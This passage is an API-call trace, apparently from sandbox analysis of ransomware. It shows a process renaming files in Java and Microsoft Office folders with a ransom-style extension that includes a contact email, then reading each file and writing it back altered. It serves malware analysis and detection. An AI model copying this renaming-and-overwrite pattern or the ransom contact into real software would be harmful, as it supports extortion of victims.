cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.337] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.342] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x218e, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPLASH~4.FIR")) returned 0x6d5200 [0131.346] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0131.368] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0131.368] GetProcessHeap () returned 0x630000 [0131.368] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x21a1) returned 0x6f60af8 [0131.368] GetProcessHeap () returned 0x630000 [0131.368] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x21a1) returned 0x707ebd0 [0131.369] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.369] ReadFile (in: hFile=0x694, lpBuffer=0x6f60af8, nNumberOfBytesToRead=0x2180, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f60af8*, lpNumberOfBytesRead=0x433ff0c*=0x2180, lpOverlapped=0x0) returned 1 [0131.450] GetProcessHeap () returned 0x630000 [0131.450] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0131.450] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.450] WriteFile (in: hFile=0x694, lpBuffer=0x707ebd0*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x707ebd0*, lpNumberOfBytesWritten=0x433ff0c*=0x2180, lpOverlapped=0x0) returned 1 [0131.450] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.450] WriteFile (in: hFile=0x694, lpBuffer=0x7080d4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7080d4f*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0131.451] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.451] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0131.451] CloseHandle (hObject=0x694) returned 1 [0131.452] GetProcessHeap () returned 0x630000 [0131.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707ebd0 | out: hHeap=0x630000) returned 1 [0131.452] GetProcessHeap () returned 0x630000 [0131.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f60af8 | out: hHeap=0x630000) returned 1 [0131.452] GetProcessHeap () returned 0x630000 [0131.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0131.452] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.452] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x144c77e4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x21b2, dwReserved0=0xb1c7496, dwReserved1=0x6f60af0, cFileName="splash.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPLASH~4.FIR")) returned 0x6d5280 [0131.452] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0131.452] Sleep (dwMilliseconds=0x1) [0133.302] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF", len=0x44 | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 1 [0133.302] GetProcessHeap () returned 0x630000 [0133.302] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xec) returned 0x66a3e0 [0133.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0133.303] CloseHandle (hObject=0x69c) returned 1 [0133.303] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.303] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.304] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.304] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0411~1.FIR")) returned 0x6d5540 [0133.304] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0133.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0133.304] GetProcessHeap () returned 0x630000 [0133.304] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x17c1) returned 0x6ed2090 [0133.304] GetProcessHeap () returned 0x630000 [0133.304] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x17c1) returned 0x6ecce88 [0133.304] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.305] ReadFile (in: hFile=0x69c, lpBuffer=0x6ed2090, nNumberOfBytesToRead=0x17a0, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed2090*, lpNumberOfBytesRead=0x433ff0c*=0x17a0, lpOverlapped=0x0) returned 1 [0133.433] GetProcessHeap () returned 0x630000 [0133.433] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0133.433] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.433] WriteFile (in: hFile=0x69c, lpBuffer=0x6ecce88*, nNumberOfBytesToWrite=0x17a0, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecce88*, lpNumberOfBytesWritten=0x433ff0c*=0x17a0, lpOverlapped=0x0) returned 1 [0133.433] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.433] WriteFile (in: hFile=0x69c, lpBuffer=0x6ece627*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ece627*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.433] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.433] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.433] CloseHandle (hObject=0x69c) returned 1 [0133.434] GetProcessHeap () returned 0x630000 [0133.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecce88 | out: hHeap=0x630000) returned 1 [0133.434] GetProcessHeap () returned 0x630000 [0133.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed2090 | out: hHeap=0x630000) returned 1 [0133.434] GetProcessHeap () returned 0x630000 [0133.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0133.434] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x157bd009, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x17d0, dwReserved0=0xb1c7496, dwReserved1=0x6ed2088, cFileName="AN04117_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0411~1.FIR")) returned 0x6d4ec0 [0133.434] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0133.435] Sleep (dwMilliseconds=0x1) [0133.453] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF", len=0x44 | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 1 [0133.453] GetProcessHeap () returned 0x630000 [0133.453] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd4) returned 0x66a3e0 [0133.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0133.453] CloseHandle (hObject=0x69c) returned 1 [0133.453] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.456] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.456] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0154~1.FIR")) returned 0x6d5480 [0133.479] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0133.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0133.480] GetProcessHeap () returned 0x630000 [0133.480] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1ce1) returned 0x70805e0 [0133.480] GetProcessHeap () returned 0x630000 [0133.480] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1ce1) returned 0x71790c8 [0133.481] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.481] ReadFile (in: hFile=0x5ec, lpBuffer=0x70805e0, nNumberOfBytesToRead=0x1cc0, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70805e0*, lpNumberOfBytesRead=0x433ff0c*=0x1cc0, lpOverlapped=0x0) returned 1 [0133.634] GetProcessHeap () returned 0x630000 [0133.634] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0133.634] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.634] WriteFile (in: hFile=0x5ec, lpBuffer=0x71790c8*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71790c8*, lpNumberOfBytesWritten=0x433ff0c*=0x1cc0, lpOverlapped=0x0) returned 1 [0133.635] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.635] WriteFile (in: hFile=0x5ec, lpBuffer=0x717ad87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717ad87*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.635] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.635] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.635] CloseHandle (hObject=0x5ec) returned 1 [0133.636] GetProcessHeap () returned 0x630000 [0133.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71790c8 | out: hHeap=0x630000) returned 1 [0133.636] GetProcessHeap () returned 0x630000 [0133.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70805e0 | out: hHeap=0x630000) returned 1 [0133.636] GetProcessHeap () returned 0x630000 [0133.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0133.636] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.636] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x159ace11, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1cf0, dwReserved0=0xb1c7496, dwReserved1=0x70805d8, cFileName="AN01545_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0154~1.FIR")) returned 0x6d5540 [0133.637] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0133.637] Sleep (dwMilliseconds=0x1) [0133.649] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF", len=0x44 | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 1 [0133.649] GetProcessHeap () returned 0x630000 [0133.650] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xc4) returned 0x66a3e0 [0133.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0133.650] CloseHandle (hObject=0x67c) returned 1 [0133.650] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.650] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.651] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.651] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0xd0100, cFileName="AN01184_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0118~1.FIR")) returned 0x6d5480 [0133.651] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0133.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0133.651] GetProcessHeap () returned 0x630000 [0133.651] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xec1) returned 0x727d80 [0133.651] GetProcessHeap () returned 0x630000 [0133.651] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xec1) returned 0x717930 [0133.651] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.651] ReadFile (in: hFile=0x67c, lpBuffer=0x727d80, nNumberOfBytesToRead=0xea0, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x433ff0c*=0xea0, lpOverlapped=0x0) returned 1 [0133.824] GetProcessHeap () returned 0x630000 [0133.824] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0133.824] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.824] WriteFile (in: hFile=0x67c, lpBuffer=0x717930*, nNumberOfBytesToWrite=0xea0, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717930*, lpNumberOfBytesWritten=0x433ff0c*=0xea0, lpOverlapped=0x0) returned 1 [0133.824] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.824] WriteFile (in: hFile=0x67c, lpBuffer=0x7187cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7187cf*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.824] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.824] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.824] CloseHandle (hObject=0x67c) returned 1 [0133.825] GetProcessHeap () returned 0x630000 [0133.825] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717930 | out: hHeap=0x630000) returned 1 [0133.825] GetProcessHeap () returned 0x630000 [0133.825] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0133.825] GetProcessHeap () returned 0x630000 [0133.825] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0133.825] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b76895, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xec6, dwReserved0=0xb1c7496, dwReserved1=0x727d78, cFileName="AN01184_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AN0118~1.FIR")) returned 0x6d5540 [0133.825] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0133.826] Sleep (dwMilliseconds=0x1) [0133.844] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF", len=0x44 | out: pbstr=0x433ff7c*="C:\\Program 